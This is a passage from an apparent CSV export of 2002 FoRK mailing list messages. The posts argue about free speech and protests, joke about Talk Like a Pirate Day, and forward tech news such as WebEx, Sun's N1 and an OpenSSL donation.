like. The alternative is a state-controlled press that reprints government press releases and calls them news. The question of what is or is not FoRKed is (except for libel or other specific exceptions) not a matter of law, but a matter of what the ""publisher"" (if any) decides or the ""community"" (if any) negotiates or does as a matter of custom. For my part, I'd rather people didn't use FoRK as a place in which to dump an expression of their political beliefs. Tom",0,0 """Russell Turpin"" ",fork@spamassassin.taint.org,"Thu, 19 Sep 2002 13:41:34 +0000",Re: Hanson's Sept 11 message in the National Review,"Robert Harley: >>BTW, I wasn't aware that the 1st Amendment mandated that crap must be >>FoRKed. Chuck Murcko : >It doesn't, BTW. It says the right to free speech shall not be abridged. >That means *you* can't say anything may not be FoRKed or printed or >whatever. Actually, it means just the opposite. The first amendment guarantees Harley's right to say just that. For the outlets where he has editorial control, it even guarantees his right to CENSOR content published through those outlets. The first amendment doesn't limit Harley's speech, and it is neutral with regard to the selection policies of FoRK and other private venues. _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx",0,1 Gregory Alan Bolcer ,FoRK ,"Thu, 19 Sep 2002 06:34:43 -0700",Webex Endeavors,"We have a partnership with Webex. We use their serivce for cross-firewall app sharing--something that Netmeeting/Messenger and Sametime require a lot of configuration of firewalls, authentications, access controls and user training for. Now Webex has invites, instant meeting launch without any configuration. Users like it as now they have something to do in between Web conferences and places to store and author documents, reschedule meetings, relaunch meetings. Webex likes it as people are signed on all the time. Greg September 19, 2002 Tadpole's Secure Web Software Subsidiary Endeavors Technology Teams With Web Meetings Leader WebEx Communications To Provide Best-of-Breed Solution For Extended Group Collaboration During and Between Online Meetings Web meetings raise the quality of team interaction and communications for users of the Web's secure, P2P collaboration network ### Tadpole Technology plc, the mobile computing and network infrastructure group, today announces that its web collaboration subsidiary, Endeavors Technology, Inc., has teamed with Web meetings leader, WebEx Communications,Inc. to help professionals make better use of corporate time and resources, and gain competitive advantage. By integrating the advanced communications capabilities of the WebEx platform with Endeavors' secure P2P collaboration network, Endeavors has created a new method of world-class teamwork and interaction without the hassle of travel. With the rapid growth in popularity of Web meetings, the rationale for this world-class relationship stems from the growing need for workgroups around the world to maintain the quality of the team collaboration experience between online meetings. The issue by those preferring not to travel is how to continue to collaborate and share information with team members between meetings rather than depending on intermittent, insecure email and multiple copies of constantly changing documents. Inter-meeting collaboration needs an asynchronous medium, independent of time. In asynchronous mode, a team member can access, read and edit information relevant to the meeting group at his/her convenience rather than having to fit into the schedules and timeframes of others. A secured environment available only to members of a meeting or project is also essential. Endeavors' Magi technology converts the Web into a secure platform for sharing information directly from people's desktops. WebEx meetings can be recorded and reviewed at any time, documents shared in the meeting can be actioned in real-time or at a later date, calendars and project schedules can be updated at any time, and new individuals added to the workgroup at will . all in a secure environment with people working across the globe, inside or outside company firewalls. Magi peer collaboration securely delivers significant benefits to Web meeting participants. Not only can they share and access information at will, but they can also know which other participants are online or ""present."" This enables them to chat and message each other, search across other people's Magi environment, and work jointly on relevant documents highly productively. With Magi collaboration, in tandem with WebEx conferencing, the savings can be huge in terms of travel costs, phone bills, and, most importantly, timely completion of projects and tasks. ""In order to realise the full potential of Web meetings, best-of-breed services are needed to eliminate time and geographical boundaries,"" says Bernard Hulme, Tadpole's group chief executive. ""The powerful combination of Endeavors' Magi and WebEx's communications technologies will assist global work teams to better meet critical business goals and deadlines by maintaining teamwork momentum within and between Web meetings."" ""WebEx is transforming the way businesses use the Web for sales, marketing, training, support and product design,"" says David Farrington, vice president of corporate development at WebEx Communications. ""By integrating the communications capabilities of the WebEx platform with Endeavors' secure collaboration network, Endeavors has created an offering that provides the best in synchronous and asynchronous communications."" About Magi Magi Enterprise 3.0, an award-winning web collaboration system, transforms today's Web into a highly secure inter- and intra-enterprise collaboration network of files and web resources. For the first time, enterprises can implement ad-hoc Virtual Private Networks for collaboration very rapidly and affordably without disrupting existing applications, networks or work practices. Magi Enterprise 3.0 does this by effectively transforming unsecured, ""read-only"" Web networks into two-way trusted and transparent collaboration environments, through the use of such features as cross-firewall connections, advanced data extraction, an intuitive graphical interface, and universal name spaces generating ""follow me URLs"" for mobile professionals. About Endeavors Technology, Inc. Endeavors Technology, Inc. is a wholly-owned subsidiary of mobile computing and network infrastructure vendor Tadpole Technology plc (LSE-TAD, www.tadpole.com), which has plants and offices in Irvine and Carlsbad (California), and Cambridge, Edinburgh, and Bristol (UK). For further information on Endeavors' P2P solutions, call 949-833-2800, email to p2p@endeavors.com, or visit the company's website http://www.endeavors.com. ends For further information, please contact: Bernard Hulme, Tadpole Technology - via Patcom Media Hugh Paterson, Patcom Media - Tel 0207 987 4888, Email hughp@patcom-media.com Bullets for Editors WebEx Web communications services (synchronous): network-based platform for delivering highly interactive, visually dynamic Web communications. The WebEx platform supports real-time data, voice and video communications. WebEx is the only company to design, develop and deploy a global network for real-time Web communications. Magi On and off-line (asynchronous) communication and collaboration: cross enterprise search and discovery, transparent security and trust (SSL & PKI), 2-way web access to files and applications, permanent cross firewall access, ad hoc and permanent secure groups, centralized or decentralized control of access lists and security privileges, centralized caching of information (never lose anything critical), multi-device access to information (desktop, laptop, PDA).",0,1 Ben Hammersley ,,"Thu, 19 Sep 2002 15:26:18 +0100",Re: Avast there matey,"On Thursday, Sep 19, 2002, at 14:51 Europe/London, Bill Kearney wrote: >> From the completely unrelated but funny department... > > ""Talk like a Pirate Day"". > http://www.washingtonpost.com/wp-dyn/articles/A5011-2002Sep11.html > > Which is today, of course. > > That and 'piratecore' rapping style... > http://poorman.blogspot.com/2002_09_01_poorman_archive.html#81798893 > > Anything, just anything, to get us off the geek dating tips topic.... > > -Bill Kearney > Arrr, he be a scurvy dog, that Bill Kearney.",0,1 Owen Byrne ,fork@spamassassin.taint.org,"Thu, 19 Sep 2002 12:06:05 -0300",Re: Avast there matey,"Ben Hammersley wrote: > > On Thursday, Sep 19, 2002, at 14:51 Europe/London, Bill Kearney wrote: > >>> From the completely unrelated but funny department... >> >> >> ""Talk like a Pirate Day"". >> http://www.washingtonpost.com/wp-dyn/articles/A5011-2002Sep11.html >> >> Which is today, of course. >> >> That and 'piratecore' rapping style... >> http://poorman.blogspot.com/2002_09_01_poorman_archive.html#81798893 >> >> Anything, just anything, to get us off the geek dating tips topic.... >> >> -Bill Kearney >> > > > Arrr, he be a scurvy dog, that Bill Kearney. Well, shiver me timbers, but my favorite pirate phrase is missing from both of those.Arrr.... and wondering if there's a rap equivalent. Owen http://www.quinion.com/words/qa/qa-shi2.htm *Q AND A SECTION* *SHIVER MY TIMBERS* /From Tad Spencer/: ""Please could you tell me where the phrase /shiver my timbers/ originated?"" This is one of those supposedly nautical expressions that seem to be better known through a couple of appearances in fiction than by any actual sailors' usage. It's an exclamation that may allude to a ship striking some rock or other obstacle so hard that her timbers shiver, or shake, so implying a calamity has occurred. It is first recorded as being used by Captain Frederick Marryat in /Jacob Faithful/ in 1835: ""I won't thrash you Tom. Shiver my timbers if I do"". It has gained a firm place in the language because almost fifty years later Robert Louis Stevenson found it to be just the kind of old-salt saying that fitted the character of Long John Silver in /Treasure Island/: ""Cross me, and you'll go where many a good man's gone before you ... some to the yard-arm, shiver my timbers, and some by the board, and all to feed the fishes"". Since then, it's mainly been the preserve of second-rate seafaring yarns.",0,1 """Joseph S. Barrera III"" ",Geege Schuman ,"Thu, 19 Sep 2002 08:02:14 -0700",Re: AA Meetings the Hottest Place to Meet Women With Big Bucks,"Geege Schuman wrote: > less obscure haiku > > buy a puppy, ro! > they are chick magnets. master > ventriloquism. Reminds me of a Gary Larson cartoon, woman walking dog, man walking aligator, dog mostly eaten by aligator, thought cloud above man's head, ""This is *such* a great way to meet chicks!"" - Joe",0,0 Tom ,"""Mr. FoRK"" ","Thu, 19 Sep 2002 11:19:06 -0400 (EDT)",Re: Oh ma gawd - funny site of the day...,"Ahhhh Dave Winer..Seems like only yesterday fork was knee deep in winerrants..hes gone away though...so sad (insert real honest to goshness tears) But the past live on...in the archives... Remeber when Dave was being betrayed by O'Reilly? http://www.xent.com/aug00/0725.html On ""closed source"" justifications http://www.xent.com/FoRK-archive/sept00/0346.html Daves trys to grok fork http://www.xent.com/FoRK-archive/sept00/0953.html NT runs just as good as linux...really http://www.xent.com/aug00/0069.html There are a few months of this stuff (just google or forkcrawl the archives) then he got truly fedup with all our not polite unfresh thinking and went silent, for the most part. oh well, back to life. -tom",0,1 """Bill Stoddard"" ","""Owen Byrne"" ,","Thu, 19 Sep 2002 11:11:47 -0400",RE: Hanson's Sept 11 message in the National Review,"> Chuck Murcko wrote: > > > Heh, ten years ago saying the exact same words was most definitely not > > ""parroting the party line"". > > > > It was even less so thirty years ago. My story remains the same, take > > it or leave it. I've said the same words to white supremacists as to > > suburban leftist punks as to homeys as to French Irish, etc. etc.: > > > > I don't have to agree with anything you say. I *am* obligated to > > defend to the death your right to say it. I don't give a rat's ass > > where you say it, even in France. I don't care where the political > > pendulum has swung currently. > > > > Chuck > > > I had to laugh at Rumsfield yesterday - when he was heckled by > protestors, he said something like ""They couldn't do that in Iraq."" > Meanwhile, from what I could tell, the protestors were being arrested. > > Owen Trying to shoutdown a speaker or being loud and rowdy while someone else is trying to speak (in the vernacular, 'getting in their face') is rude and disrespectful. And persistently getting in someones face is assault, a criminal offense. If these people have something to say, they can say it with signs or get their own venue. And here is something else to chew on... these protesters are NOT interested in changing anyones mind about what Rumsfield is saying. How likely are you to change someone's mind by being rude and disrespectful to them? Is this how to win friends and influence people? Either these folks are social misfits who have no understanding of human interactions (else they would try more constructive means to get their message across) or they are just out to get their rocks off regardless of how it affects other people, and that is immoral at best and downright evil at worst. Bill",0,0 Owen Byrne ,Bill Stoddard ,"Thu, 19 Sep 2002 12:49:42 -0300",Re: Hanson's Sept 11 message in the National Review,"Bill Stoddard wrote: >>Chuck Murcko wrote: >> >> >> >>>Heh, ten years ago saying the exact same words was most definitely not >>>""parroting the party line"". >>> >>>It was even less so thirty years ago. My story remains the same, take >>>it or leave it. I've said the same words to white supremacists as to >>>suburban leftist punks as to homeys as to French Irish, etc. etc.: >>> >>>I don't have to agree with anything you say. I *am* obligated to >>>defend to the death your right to say it. I don't give a rat's ass >>>where you say it, even in France. I don't care where the political >>>pendulum has swung currently. >>> >>>Chuck >>> >>> >>I had to laugh at Rumsfield yesterday - when he was heckled by >>protestors, he said something like ""They couldn't do that in Iraq."" >>Meanwhile, from what I could tell, the protestors were being arrested. >> >>Owen >> >> > >Trying to shoutdown a speaker or being loud and rowdy while someone else is >trying to speak (in the vernacular, 'getting in their face') is rude and >disrespectful. And persistently getting in someones face is assault, a >criminal offense. If these people have something to say, they can say it >with signs or get their own venue. And here is something else to chew on... >these protesters are NOT interested in changing anyones mind about what >Rumsfield is saying. How likely are you to change someone's mind by being >rude and disrespectful to them? Is this how to win friends and influence >people? Either these folks are social misfits who have no understanding of >human interactions (else they would try more constructive means to get their >message across) or they are just out to get their rocks off regardless of >how it affects other people, and that is immoral at best and downright evil >at worst. > >Bill > > Polite and respectful protest is acceptable then. No dumping tea in the harbour or anything like that. I think the primary purpose of loud and rowdy protests is to get on television, and that the tactics can be justified as a reaction to a systematic removal of alternative viewpoints from that medium. On the other hand, it was a priceless TV moment. There was nothing resembling assault, and the protestors were not in anybody's face (at least in my understanding of the vernacular). And no, being rude and disrespectful is not the way to influence politicians, but the standard way of using lobbyists and writing checks is beyond many of us. Owen",0,0 Tom ,Bill Stoddard ,"Thu, 19 Sep 2002 12:52:17 -0400 (EDT)",RE: Hanson's Sept 11 message in the National Review,"On Thu, 19 Sep 2002, Bill Stoddard wrote: --]How likely are you to change someone's mind by being --]rude and disrespectful to them? Is this how to win friends and influence --]people? Point the first, I doubt if they are trying to change Rumsy's mind but rather to show others that there is a vocal and violent opposition to his views. With such flagrant showings of opposition there would be more coverage of the opposing ideas and thus the spreading of the dissenting meme. A viri need not comply with the wishes of the attacked host, rather the host had better make some antibodies or learn to adapt. Point the second. Historicaly the ""in yer face"" mode of confrontation has been used to gain popular support and to grow from seeds ""grass roots"" movements. Witness the big bold ""in yer face"" signature of Hancock on the ""in yer face"" Declaration of the american colonies to the governing powers of england. Witness also the chicago seven, Others will follow in examplare form upon digging. Now point the third, is it annoying? Yes, and if your annoyed then the ""in yer facers"" have done thier job. Sad to say the polite persnikiters are teh very fule the ""in yer facers"" hope to ignite. If your burning, your being used. Pointed the personal...The politics of the polite are more often the refuge of backstabings, closed mouth recourlessness and hypocritcal behavoirs. Id rather hear what those who oppose me have to say than quietly be knifed by the slow hand of the coward. Seek not the polite or impolite but rather the reasons why. -tom",0,0 Kragen Sitaker ,fork@spamassassin.taint.org,"Thu, 19 Sep 2002 13:18:04 -0400",Re: Avast there matey,"Owen Byrne writes: > [quoting http://www.quinion.com/words/qa/qa-shi2.htm] > *SHIVER MY TIMBERS* > > /From Tad Spencer/: ""Please could you tell me where the phrase /shiver > my timbers/ originated?"" > > This is one of those supposedly nautical expressions that seem to be > better known through a couple of appearances in fiction than by any > actual sailors' usage. > > It's an exclamation that may allude to a ship striking some rock or > other obstacle so hard that her timbers shiver, or shake, so implying a > calamity has occurred. It is first recorded as being used by Captain > Frederick Marryat in /Jacob Faithful/ in 1835: ""I won't thrash you Tom. > Shiver my timbers if I do"". It seems implausible to me that ""shiver"" here means ""to shake""; I don't recall seeing the word used transitively in that sense, and web1913 lists that sense as ""v. i."", or intransitive. The transitive sense of ""shiver"", which we no longer use but which people used widely in the 1800s (web1913 doesn't even list it as archaic or obsolete), means ""to shatter into splinters, normally with a blow"". Shivering a boat's timbers, of course, leaves you with no boat. (Shivering some of them, which will happen if you hit a rock hard enough, leaves you with a sinking boat.) So, ""Shiver my timbers if I do,"" can be reasonably interpreted as a more vivid way of saying, ""May I die suddenly if I do."" The interpretation suggested by Quinion, ""May my boat be damaged,"" neither makes as much sense in context nor obeys the normal rules of grammar. I've sent a copy of this to Quinion.",0,1 """Bill Stoddard"" ","""Tom"" ","Thu, 19 Sep 2002 13:55:33 -0400",RE: Hanson's Sept 11 message in the National Review,"> On Thu, 19 Sep 2002, Bill Stoddard wrote: > --]How likely are you to change someone's mind by being > --]rude and disrespectful to them? Is this how to win friends and > influence > --]people? > > Point the first, I doubt if they are trying to change Rumsy's mind but > rather to show others that there is a vocal and violent opposition to his > views. With such flagrant showings of opposition there would be more > coverage of the opposing ideas and thus the spreading of the dissenting > meme. A viri need not comply with the wishes of the attacked host, rather > the host had better make some antibodies or learn to adapt. > > Point the second. Historicaly the ""in yer face"" mode of confrontation has > been used to gain popular support and to grow from seeds ""grass roots"" > movements. Witness the big bold ""in yer face"" signature of Hancock on the > ""in yer face"" Declaration of the american colonies to the governing > powers of england. Witness also the chicago seven, Others will follow in > examplare form upon digging. > > Now point the third, is it annoying? Yes, and if your annoyed then the ""in > yer facers"" have done thier job. Sad to say the polite persnikiters are > teh very fule the ""in yer facers"" hope to ignite. If your burning, your > being used. > > Pointed the personal...The politics of the polite are more often the > refuge of backstabings, closed mouth recourlessness and hypocritcal > behavoirs. Id rather hear what those who oppose me have to say than > quietly be knifed by the slow hand of the coward. > > > > Seek not the polite or impolite but rather the reasons why. > > > -tom Good points all but they don't apply in this case. Someone is speaking and a group of selfish bastards only interested in getting their rocks off are trying to shout him down (they are doing it because 'it's good for the soul'. Kind like Chuckie Manson doing the stuff he did cause 'it was good for his soul'). Unprincipled and evil. It's got nothing to do with throwing tea in the harbor or the DoI. Bill",0,0 Chuck Murcko ,"""Russell Turpin"" ","Thu, 19 Sep 2002 11:01:49 -0700",Re: Hanson's Sept 11 message in the National Review,"What I meant was that neither he nor anyone else has any *authority* to say something can or can't be published, and make that stick, at least in the US, and from some descriptions, France. Of course he can say anything he wants. And I can choose to ignore it, or not. Works both ways. Fscking semantics. Chuck On Thursday, September 19, 2002, at 06:41 AM, Russell Turpin wrote: > Robert Harley: >>> BTW, I wasn't aware that the 1st Amendment mandated that crap must be >>> FoRKed. > > Chuck Murcko : >> It doesn't, BTW. It says the right to free speech shall not be >> abridged. That means *you* can't say anything may not be FoRKed or >> printed or whatever. > > Actually, it means just the opposite. The first > amendment guarantees Harley's right to say just > that. For the outlets where he has editorial > control, it even guarantees his right to CENSOR > content published through those outlets. The > first amendment doesn't limit Harley's speech, > and it is neutral with regard to the selection > policies of FoRK and other private venues. > > > > _________________________________________________________________ > MSN Photos is the easiest way to share and print your photos: > http://photos.msn.com/support/worldwide.aspx >",0,1 Tom ,Bill Stoddard ,"Thu, 19 Sep 2002 14:13:10 -0400 (EDT)",RE: Hanson's Sept 11 message in the National Review,"On Thu, 19 Sep 2002, Bill Stoddard wrote: --]Good points all but they don't apply in this case. Someone is speaking and --]a group of selfish bastards only interested in getting their rocks off are --]trying to shout him down (they are doing it because 'it's good for the --]soul'. Kind like Chuckie Manson doing the stuff he did cause 'it was good --]for his soul'). Unprincipled and evil. It's got nothing to do with throwing --]tea in the harbor or the DoI. History is written by the victors. If the rabble can put forth there ideas they will be tempered in the pages of yore as ""strong willed voices decrying the obvious injustices of the day"" Once again, look at the Chicago 7, a loud and rude a crowd of selfish pricks as you were want to find in the day. History of course colors them with times great blur filter. The jagged bits that , at the time, were called rude and obnoxious are now seen as a stab of justive doing in the sideof the ill pathed goverment.",0,0 Dave Long ,fork@spamassassin.taint.org,"Thu, 19 Sep 2002 12:50:46 -0700",Re: [meta-forkage],"> For my part, I'd rather people didn't use FoRK as a place in which to dump an > expression of their political beliefs. I'll second that, although with emphasis upon /dump/, rather than on /political/. I don't mind if people advocate nuking gay baby whales for jesus, if they can make a good, original, argument for it. I do mind if someone should attempt to further the notion that 1+1=2, merely by cut-and-pasting a few pages of W&R. ""New bits"" are not a temporal property; we create them when we add context or clarification to the old bits of others' thoughts. -Dave :::::::::::: > ... being rude and disrespectful is not the way to influence > politicians, but the standard way of using lobbyists and > writing checks is beyond many of us. The standard way has some extreme precedents: > Q: When was the Roman empire sold, and who bought it? > > A: On March 28th, 193 AD, the Roman empire was auctioned off by the > Praetorian guards to the wealthy senator Didius Julianus for the price > of 6250 drachms per soldier. (as found in , quoting Gibbon) Now, an economist might argue that selling offices is the most efficient way to fill them (what would Coase say?), but wouldn't that convince everyone (but the supporters of plutocracy) that efficiency is not the primary virtue of politics?",0,1 """Mr. FoRK"" ",,"Thu, 19 Sep 2002 14:51:59 -0700",Re: Avast there matey,"----- Original Message ----- From: ""Kragen Sitaker"" > > It's an exclamation that may allude to a ship striking some rock or > > other obstacle so hard that her timbers shiver, or shake, so implying a > > calamity has occurred. It is first recorded as being used by Captain > > Frederick Marryat in /Jacob Faithful/ in 1835: ""I won't thrash you Tom. > > Shiver my timbers if I do"". I think it went like this: ""I won't thrash you Tom, if you shiver my timber..."" Or maybe that was just the butt pirates...",0,0 Gary Lawrence Murphy ,Rodent of Unusual Size ,19 Sep 2002 17:50:37 -0400,Re: boycotting yahoo,"Just tried smartgroups: The layout of pages is pretty challenging to use quickly, but the most interesting aspect is that once you are in, there is no way to get out. You can unsubscribe yourself as the sole member of a group, but you cannot delete the group. Or if you can, I couldn't find it before deleting myself, and now it's invisible to me. Another interesting thing: Security forms are reset to full-public settings each time you load them, rather than set from your current settings. All in all, I wasn't impressed and have stayed with the Yahooligans for another run. -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Tom ,"""Mr. FoRK"" ","Thu, 19 Sep 2002 18:02:52 -0400 (EDT)",Re: Avast there matey,"On Thu, 19 Sep 2002, Mr. FoRK wrote: --]I think it went like this: ""I won't thrash you Tom, if you shiver my --]timber..."" --]Or maybe that was just the butt pirates... --] How did I get wrangled into this thread? Do I really need to make pewp deck jokes at this point. Arrrrg ye mateys, now best ya be off tis topic or Ill hoist my jib and hope for a stiff wind. Arrrg when Im happy and arrrg when Im not.",0,0 Ned Jackson Lovely ,fork@spamassassin.taint.org,"Thu, 19 Sep 2002 22:39:53 -0400",Re: Hanson's Sept 11 message in the National Review,"On Thu, Sep 19, 2002 at 11:11:47AM -0400, Bill Stoddard wrote: > people? Either these folks are social misfits who have no understanding of > human interactions (else they would try more constructive means to get their > message across) or they are just out to get their rocks off regardless of > how it affects other people, and that is immoral at best and downright evil > at worst. Are you kidding? It was fucking BRILLIANT. Do you know what exposure that got them? They sat perfectly so that the cameras could focus on the mildly exasperated Rumsfeld and their ""UN Inspections not war"" banner. That picture will be dominating the news cycles in China, Iraq, Russia, Germany, and France, at least. For goodness sakes, you're arguing about it on FoRK. In politics by sound-bite, those two rude hags kicked ass and took names. For the record, I don't think they even got arrested, which is a shame. It is part of the game -- make an ass of yourself, get your point on the nightly news, spend a couple days in the clink for disorderly. -- njl",0,0 Eugen Leitl ,forkit! ,"Fri, 20 Sep 2002 08:03:13 +0200 (CEST)",Sun donates elliptic curve code to OpenSSL? (fwd),"---------- Forwarded message ---------- Date: 19 Sep 2002 22:18:46 -0400 From: Perry E. Metzger To: cryptography@wasabisystems.com Subject: Sun donates elliptic curve code to OpenSSL? According to this: http://www.sun.com/smi/Press/sunflash/2002-09/sunflash.20020919.8.html Sun is donating some elliptic curve code to the OpenSSL project. Does anyone know details that they would care to share on the nature of the donation? -- Perry E. Metzger perry@piermont.com --------------------------------------------------------------------- The Cryptography Mailing List Unsubscribe by sending ""unsubscribe cryptography"" to majordomo@wasabisystems.com",0,1 ThosStew@aol.com,"dl@silcom.com, fork@spamassassin.taint.org","Fri, 20 Sep 2002 09:30:30 EDT",Re: [meta-forkage],"In a message dated 9/19/2002 3:45:45 PM, dl@silcom.com writes: >I don't mind if people advocate nuking >gay baby whales for jesus, if they can >make a good, original, argument for it. I can't imagine any other kind of argument for nuking gay baby whales for jesus. But do you mean nuking baby gay whales who are for jesus; or nuking baby gay whales for Jesus's sake? splitting hairs with a FoRK, Tom",0,0 Gregory Alan Bolcer ,FoRK ,"Fri, 20 Sep 2002 06:57:05 -0700",Sun,"Well, it looks like Sun are going ahead with their ubiquitous computing plans without Mithril. Greg Reuters Market News Sun Micro Outlines Roadmap for Managing Networks Friday September 20, 5:00 am ET By Peter Henderson SAN FRANCISCO (Reuters) - Computer maker Sun Microsystems Inc. on Thursday said it would create in a few years a network environment that will be as straightforward to handle as a single machine, a strategy it calls N1. It laid out a road map for a new layer of intelligent software and systems that will meld unwieldy networks into easy-to-use systems, a goal similar to those of most rivals making computers which manage networks. EMC Corp. announced this week software aimed at allowing users to manage storage resources as a pool. Hewlett-Packard Co has a Utility Data Center, designed for broader management. International Business Machines Corp's project eLiza is working to make computers ""self-healing"" when systems break. ""Applications still have to run zeroes and ones on some computing engine but the whole idea behind N1 is you stop thinking about that. You don't think about what box it is running on,"" Sun Vice President Steve MacKay, head of the N1 program, said in an interview on the sidelines of a Sun user conference. Many industry executives see computer power eventually being sold like power or water, as a utility that can be turned on or off, in whatever volume one wants whenever needed. For that to happen computers must be tied together seamlessly, rather than cobbling them together with tenuous links, as most networks do today, experts say. There are still major barriers, though, such as communications standards for machines from different vendors to interoperate closely. Sun promised to deliver a ""virtualization engine"" that would let administrators look at their entire network as a pool by the end of the year. Network administrators today often have no automatic system to report what is in the network. ""It'll tell you what you have and how it is laid out,"" promised MacKay The second stage, beginning in 2003, would allow users to identify a service, such as online banking, and allocate resources for them with a few clicks, Sun said. Finally, in 2004, Sun's software should allow networks to change uses of resources on the fly in response to changing needs, such as a bank assuring quicker online response time for priority users, the company said.",0,0 """Bill Stoddard"" ","""Ned Jackson Lovely"" ,","Fri, 20 Sep 2002 10:45:19 -0400",RE: Hanson's Sept 11 message in the National Review,"> On Thu, Sep 19, 2002 at 11:11:47AM -0400, Bill Stoddard wrote: > > people? Either these folks are social misfits who have no > understanding of > > human interactions (else they would try more constructive means > to get their > > message across) or they are just out to get their rocks off > regardless of > > how it affects other people, and that is immoral at best and > downright evil > > at worst. > > Are you kidding? It was fucking BRILLIANT. Do you know what > exposure that got > them? They sat perfectly so that the cameras could focus on the mildly > exasperated Rumsfeld and their ""UN Inspections not war"" banner. What I am specifically referring to is protesters shouting down speakers or making so much noise that it interferes with the speaker. That's wrong, immoral and unethical no matter what the political bent of the speakers and the protesters. Rowdy protests in their own venue (on a college campus or some of the commons areas of DC) is perfectly fine by me. Waving signs to get attention is fine. > That picture > will be dominating the news cycles in China, Iraq, Russia, Germany, and > France, at least. For goodness sakes, you're arguing about it on FoRK. In > politics by sound-bite, those two rude hags kicked ass and took names. > > For the record, I don't think they even got arrested, which is a shame. Well, Owen implied the protesters were arrested. Was he just jacking himself off at the expense of other people? Exactly why is it a shame that they were not arrested? Think about what you are saying and what you are telegraphing about your state of mind here. You WANT people to do bad things (ie, police arresting peaceful protesters) if it can help you further your cause? That attitude just sucks. You have no moral ground to stand on if that is what you believe. > It is part of the game -- make an ass of yourself, get your point on > the nightly > news, spend a couple days in the clink for disorderly. Sure, just don't whine about getting arrested if you make it a point to get in someone's face. One other comment... Most of the people that are protesting against taking out the Iraqi dictator wouldn't give a rats ass if a nuke went off in NYC. They simply wouldn't care so why in the hell should the Americal public listen to them on matters of national security? So enlighten me, exactly why shouldn't Hussein be taken out? And if your answr boils down to ""i don't give a shit about what happens to the US"", you can kiss my ass :-) Bill",0,0 """John Hall"" ",,"Fri, 20 Sep 2002 12:33:59 -0700",RE: The War Prayer,"I'm sure Patton used it. I'm all for using it in the coming war with Iraq. Yet I'd be queasy about doing it in the Philippines circa 1905, which was his point. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of R. A. > Hettinga > Sent: Monday, September 16, 2002 9:44 PM > To: Digital Bearer Settlement List; fork@spamassassin.taint.org > Subject: The War Prayer > > > --- begin forwarded text > > > Status: RO > Date: Mon, 16 Sep 2002 14:57:27 -0700 > To: nettime-l@bbs.thing.net > From: Phil Duncan > Subject: The War Prayer > Sender: nettime-l-request@bbs.thing.net > Reply-To: Phil Duncan > > The following prayer is from a story by Mark Twain, and was quoted by > Lewis > Laphan in the October issue of Harper's magazine. It occurs at the very > end > of an excellent article which I recommend to you. > > In the story, an old man enters a church where the congregation has been > listening to an heroic sermon about ""the glory to be won in battle by > young > patriots armed with the love of God."" He usurps the pulpit and prays the > following: > > ""O Lord our God, help us to tear their soldiers to bloody shreads with our > shells; help us to cover their smiling fields with the pale forms of their > patriot dead; help us to drown the thunder of the guns with the shrieks of > their wounded, writhing in pain; help us to lay waste their humble homes > with > a hurricane of fire; help us to wring the hearts of their unoffending > widows > with unavailing grief; help us to turn them out roofless with their little > children to wander unfriended the wastes of their desolated land in rags > and > hunger and thirst, sports of the sun flames in summer and the icy winds of > winter, broken in spirit, worn with travail, imploring Thee for the refuge > of > the grave and denied it -- for our sakes who adore Thee, Lord, blast their > hopes, blight their lives, protract their bitter pilgrimage, make heavy > their > steps, water their way with their tears, stain the white snow with the > blood > of their wounded feet! We ask it, in the spirit of love, of Him Who is the > Source of Love, and Who is the ever-faithful refuge and friend of all that > are sore beset and seek His aid with humble and contrite hearts. Amen."" > > Twain wrote the story, ""The War Prayer,"" in 1905 during the American > occupation of the Philippines, but the story wasn't printed until 1923, > thirteen years after his death, because the editors thought it > ""unsuitable"" > for publication at the time it was written. > > # distributed via : no commercial use without permission > # is a moderated mailing list for net criticism, > # collaborative text filtering and cultural politics of the nets > # more info: majordomo@bbs.thing.net and ""info nettime-l"" in the msg body > # archive: http://www.nettime.org contact: nettime@bbs.thing.net > > --- end forwarded text > > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > ""... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Rohit Khare ,fork@spamassassin.taint.org,"Fri, 20 Sep 2002 17:10:48 -0700",sed /s/United States/Roman Empire/g,"> A world where some live in comfort and plenty, while half of the human > race lives on less than $2 a day, is neither just nor stable. Absolutely correct. Perhaps the most fundamental thing to realize about life on Earth today. The following is a fascinating document of official Government policy that bears close reading. It is the aspirations of a wonderful nation in an imperfect world. > The war on terrorism is not a clash of civilizations. It does, > however, reveal the clash inside a civilization, a battle for the > future of the Muslim world. This is a struggle of ideas and this is an > area where America must excel. I was recently at a lecture about the surprising success of Radio Sawa, our new music-and-news channel for 15-30 year old Arabs. It's #1 in practically every market it's entered, nearing 90% listenership in Amman. And it's even beginning to be trusted for news, well past BBC and taking share from every other government broadcaster. It is as hard to imagine America losing a war of ideas in the long-term as it is to imagine America making any headway at all in the short term. Many of you may disagree, but I found the document below surprisingly centrist. If you know the code, you can hear clearly partisan tones, re: ICC, Taiwan Relations Act, etc. But, still, this is as much a Democratic platform as not. Africa and AIDS take up more mindshare than I feared they might. As you read, replace ""United States"" with ""Roman Empire"" and it may make as much sense, in the long view of history. I don't know how proud to be about that, but it is telling. Sometime I daydream that the President might sit down with the nation with Perotista flip charts and explain to our citizens the sheer vastness of our 700+ military installations overseas and what they do for us. It would be a powerful education on how engaged we are in the world around us. Heck, I'd love to see a real-time map of Federal expenditures around the globe, a softly glowing necklace of embassies, carriers, arctic research stations, hotels, golf courses, warehouses, libraries, clinics and all the rest of the influence a trillion dollars here or there can buy. Of course, this still doesn't leave me any more comfortable with the real news in this document: the Bush Doctrine for pre-emptive strikes. I'd sooner repeal the Church amendments on covert action than permit such a principle to be loosed upon the world. Rohit ----------------------------------------------------- September 20, 2002 Full Text: Bush's National Security Strategy Following is the full text of President Bush's new national security strategy. The document, entitled ""The National Security Strategy of the United States,"" will soon be transmitted to Congress as a declaration of the Administration's policy. INTRODUCTION THE great struggles of the twentieth century between liberty and totalitarianism ended with a decisive victory for the forces of freedom -- and a single sustainable model for national success: freedom, democracy, and free enterprise. In the twenty-first century, only nations that share a commitment to protecting basic human rights and guaranteeing 